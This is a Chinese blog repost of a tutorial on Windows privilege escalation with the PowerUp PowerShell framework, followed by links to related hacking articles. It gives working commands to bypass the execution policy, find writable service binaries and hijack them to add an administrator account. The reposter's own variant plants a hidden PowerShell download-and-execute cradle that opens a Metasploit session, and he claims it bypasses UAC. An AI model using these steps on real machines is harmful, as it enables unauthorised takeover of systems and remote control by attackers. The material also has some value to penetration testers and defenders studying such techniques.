PowerShell 另类提权,win10测试通过,已绕过UAC!

转载 2016年05月31日 14:05:17

在乌云上看了一篇关于”非常规提权”的做法,试了一下,效果不错.装载过来,顺便加上自己的代码段.

简洁点写,省去大部分,需要阅读原文的请去:http://drops.wooyun.org/tips/11989


0x00 简介


通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,而今天我将介绍一个非常实用的Powershell框架-Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。


要使用Powerup,首先需要下载此脚本:Powerup,之后加载此脚本:

E:> powershell.exe -nop -exec bypass
PS E:\> Import-Module .\PowerUp.psm1

加载完成以后,便可以使用Powerup中的所有模块了。

通过如下命令可以查看所有模块:

PS E:\> Get-Command -Module powerup

看到这个样子就成功了.

成功界面


0x02 实战提权

(我们直接跳到精彩的这里)

测试环境为win10。平常用的虚拟机,并没有特意去配置存在漏洞的环境,所以并不是所有的模块均可以使用。实际测试可以根据实际环境来调整。此次测试并未使用内核漏洞来提权。

首先添加低权限测试账号,使用管理员身份运行cmd,添加测试账号:

C:\Windows\system32>net user powerup 1 /add

查看用户权限

执行Invoke-AllChecks:

Invoke-AllChecks

执行以后找到下列问题:

[*] Checking for unquoted service paths...


ServiceName   : CDROM_Detect
Path          : C:\Program Files\4G USB Modem\4G_Eject.exe
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'CDROM_Detect' -Path <HijackPath>

ServiceName   : hMailServer
Path          : C:\Program Files (x86)\hMailServer\Bin\hMailServer.exe RunAsService
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'hMailServer' -Path <HijackPath>

[*] Checking service executable and argument permissions...

ServiceName    : wampapache
Path           : "c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe" -k runservice
ModifiableFile : c:\wamp\bin\apache\apache2.2.17\bin\httpd.exe
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -ServiceName 'wampapache'

ServiceName    : wampmysqld
Path           : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe wampmysqld
ModifiableFile : c:\wamp\bin\mysql\mysql5.5.8\bin\mysqld.exe
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -ServiceName 'wampmysqld'

可以看出,Powerup列出了可能存在问题的服务,并在AbuseFunction中给了接下来的利用方式。在上面两个利用点可以看出,unquoted service paths中给出了两个路径带空格的文件路径,但是因为其在c盘,没有权限,所以并不能被我们利用来提权。而第二个检查通过Get-ServiceFilePermission找到两个当前用户可以写入相关联可执行文件的路径,我们就可以通过这个来进行提权。在AbuseFunction那里已经给了我们操作方式,接下来我们执行如下操作:

PS E:\> Install-ServiceBinary -ServiceName 'wampapache' -UserName rockyou -Password 123

之后当管理员运行该服务的时候,则会添加我们的账号

这里写图片描述


我自己测试发现了”metasploitPostgreSQL” 这个可以被利用。然后改了下上面代码中的服务名,然后测试成功.我测试是反弹msf代码

Install-ServiceBinary -ServiceName 'metasploitPostgreSQL' -Command "powershell.exe -nop -w hidden -c `"IEX ((new-object net.webclient).downloadstring('code_address'))`""
Restore-ServiceBinary -ServiceName 'metasploitPostgreSQL'

然后就成功的上线了,还是绕过了UAC的.屌屌的…

对了,用完就得还原服务哦

Restore-ServiceBinary -ServiceName 'wampapache'

0x03 小结

(我们又跳到小结)

Powerup提供了一些我们并不常见的提权方式,并且为我们的Windows提权提供了极大的方便,如果碰到未安装Powershell的计算机,可以详细参考Powerup里面的函数实现过程来通过别的方式来实现同样的效果,希望本文对你有帮助。

本文由evi1cg原创并首发于乌云drops,转载请注明

3.3 difflib--比较不同序列之间差异库

3.3 difflib--比较不同序列之间差异库本库主要提供一些类和一些函数来比较不同序列对象,提取出来差别部分,特别在文本方面的比较更加有用。例如在文件方面进行比较,在不同的格式下比较会产生不同的差...

MSF初体验—入侵安卓手机

参考文章:http://www.cnblogs.com/hkleak/p/4852057.html 环境: windows8.1(装有pentestbox) IP:192.168.43.17 安卓手...

动手打造Bypass UAC自动化测试小工具,可绕过最新版Win10

* 本文原创作者:ExpLife,本文属FreeBuf原创奖励计划,未经许可禁止转载  前言 关于UAC的机制在笔者之前的>一文中已经做了详尽的介绍。 最初绕过UAC的方法 最...

[Win32] UAC用户账户控制(提权+降权)

首先必须澄清一下:UAC不是Vista才有的东西!我反正知道XP就有了,2000不知道,XP上也有UAC,只不过默认没有开启,你要是愿意可以自己开启,只不过太不人性化了,和Linux上的switch ...

webshell另类提权技巧

  • 2009年05月01日 18:44
  • 26KB
  • 下载

webshell另类提权新姿势-php本地猜解MYSQL

代码笔记 php本地猜解MYSQL-字典文件猜解
  • byb123
  • byb123
  • 2016年04月18日 14:24
  • 473

过UAC直接提权工具

  • 2017年03月10日 09:07
  • 2KB
  • 下载

MS10-073微软Windows内核Win32k.sys键盘布局本地提权漏洞 fix poc

第一次载入poc crash在这 eax=00000000 ebx=00000000 ecx=0000006b edx=e16edaac esi=00000244 edi=00000000 eip=8...

过UAC提权POC

  • 2015年04月08日 15:42
  • 111KB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:PowerShell 另类提权,win10测试通过,已绕过UAC!
举报原因:
原因补充:

(最多只允许输入30个字)